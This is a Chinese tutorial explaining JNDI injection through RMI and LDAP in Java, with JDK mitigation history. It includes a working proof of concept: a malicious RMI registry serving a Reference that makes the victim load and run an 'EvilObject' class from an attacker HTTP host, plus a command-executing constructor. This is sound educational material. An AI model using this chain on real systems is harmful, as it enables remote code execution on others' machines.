JNDI注入依赖RMI,所以在学习JNDI注入前务必了解一下RMI
JNDI (Java Naming and Directory Interface) 是一个java中的技术,用于提供一个访问各种资源的接口。比如通过JNDI可以在局域网上定位一台打印机,或者定位数据库服务,远程JAVA对象等。 JNDI底层支持RMI远程对象,RMI注册的服务可以直接被JNDI接口访问调用。
首先我们先思考一下RMI的工作原理是什么。
1.服务器创建好继承于Remote接口的类,并把它绑定到RMI服务器上
2.客户端请求RMI服务器上的类
3.服务端返回客户端所请求类的存根stub,客户端将这个stub看作实例化对象使用
4.客户端调用stub的某个方法,并传入参数。该参数会发送到RMI服务器上,由RMI服务器按照客户端传来的参数来执行指定的方法
5.服务器执行完后将结果返回给客户端
所以从RMI这一端来看,客户端获取了远程对象后所执行的此对象的方法,都是由RMI服务器来执行的。
rmi调用远程对象和JNDI调用远程对象,在代码上是有差别的
如下是RMI创建和调用远程对象
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Properties;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "Hello " + name + " ^_^ ";
}
}
public class CallService {
public static void main(String args[]) throws Exception {
IHello hello = new IHelloImpl();
Naming.bind("hello", hello);
IHello rHello = (IHello) Naming.lookup("hello");
System.out.println(rHello.sayHello("RickGray"));
}
}
而JNDI调用远程对象的过程如下,多了一步设置JNDI环境
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Properties;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "Hello " + name + " ^_^ ";
}
}
public class CallService {
public static void main(String args[]) throws Exception {
// 配置 JNDI 默认设置
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1022");
Context ctx = new InitialContext(env);
// 本地开启 1022 端口作为 RMI 服务,并以标识 "hello" 绑定方法对象
Registry registry = LocateRegistry.createRegistry(1022);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);
// JNDI 获取 RMI 上的方法对象并进行调用
IHello rHello = (IHello) ctx.lookup("hello");
System.out.println(rHello.sayHello("tom"));
}
}
首先来看一下如何创建一个对象Reference并将其绑定到RMI服务器上
......定义好了registry,它是一个Registry对象(RMI中用于将类注册到服务器上的对象)
Reference refObj = new Reference("refClassName", "insClassName", "http://a.com:12345");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
前面说到RMI服务器会向客户端返回stub或者说一个对象,如果RMI服务器传回客户端一个Reference对象呢?那就要说道说道了。 对于RMI服务器而言,向客户端传回一个Reference对象和传回其他对象一样,并没有多大区别。 但是客户端由于获取到了一个Reference实例,比如说就是上面代码中的Reference实例,接下来客户端就会先在CLASSPATH里寻找被标识为refClassName的类。如果没找到,它就会去请求http://a.com:12345/refClassName.class 对里面的类进行动态加载,并调用insClassName类的构造方法。注意,调用insClassName类的构造方法这个行为是由客户端完成的。
上面的一系列行为可以概括为xiatu
我们在通过JNDI调用远程对象时,需要设置环境,就像这样
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory"); //设置了rmi请求方式
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);
比如以上代码,就设置了JNDI会通过rmi的方式去请求远程对象。
但是当调用lookup()或者search()时,可以直接无视环境是如何设置请求方式的,因为JNDI有协议动态转换机制。什么意思呢?看看代码就晓得了
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);
ctx.lookup("ldap://a.com/ou=foo,dc=foobar,dc=com")
以上代码执行后,会调用ldap协议去请求,而不是rmi。 这是因为lookup或者search函数在参数为绝对路径URI的情况下动态转换协议为参数中指定的协议。
如果我们满足以下条件,JNDI注入就会成功
JNDI调用的lookup参数可控 URI可进行动态协议转换 Reference对象指定类会被加载并实例化
其实最重要的就是第一条。
下面用一张图概括从JNDI注入到RCE的流程
1.攻击者控制了lookup参数 2.攻击者将lookup参数替换为去请求恶意服务器A上的Reference对象 3.恶意服务器A返回Reference对象 4.受害机器获得Reference对象后先在CLASSPATH中查找Reference对象中的指定类是否存在,若不存在则请求Reference对象中指定的恶意服务器B去获得指定类 5.恶意服务器B返回指定类 6.受害机器得到指定类后,执行指定类的构造函数,从而达到RCE
下面是代码实现
受害机器
import java.rmi.Remote;
import java.rmi.RemoteException;
import javax.naming.Context;
import javax.naming.InitialContext;
interface IHello extends Remote {
abstract String sayHello(String name) throws RemoteException;
}
public class CallService {
public static void main(String args[]) throws Exception{
if(args.length<1){
System.out.println("Plz input url");
System.exit(-1);
}
else {
// JNDI 获取 RMI 上的方法对象并进行调用
Context ctx = new InitialContext();
IHello rHello = (IHello) ctx.lookup((String)args[0]);
System.out.println(rHello.sayHello("tom"));
}
}
}
RMI
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.*;
import java.rmi.server.UnicastRemoteObject;
public class evilrmi {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1010);
Reference refObj = new Reference("EvilObject","EvilObject","http://192.168.111.1:80/");
ReferenceWrapper refObjWra = new ReferenceWrapper(refObj);
registry.bind("refObj",refObjWra);
System.out.println("gogo");
}
}
EvilObject
import java.lang.Runtime;
import java.lang.Process;
public class EvilObject {
public EvilObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}
}
我们先运行RMI服务器,然后把EvilObject.class放置于http://192.168.111.1:80/下,然后指定lookup参数为我们的恶意RMI服务器去运行受害机器。
如果是早期JDK版本,计算器就已经弹出来了。JDK 6u141, JDK 7u131, JDK 8u121 以及更高版本中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性,所以会执行以上流程会有如下报错
The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
以上是JNDI Reference+RMI的利用方式,除此之外还有一个JNDI Reference+ldap 的利用方式,操作与JNDI Reference+RMI大同小异,也就是通过ldap协议lookup一个恶意服务器并获得恶意Reference对象,并且LDAP服务的Reference远程加载Factory类不受 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以利用面更广 但是在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。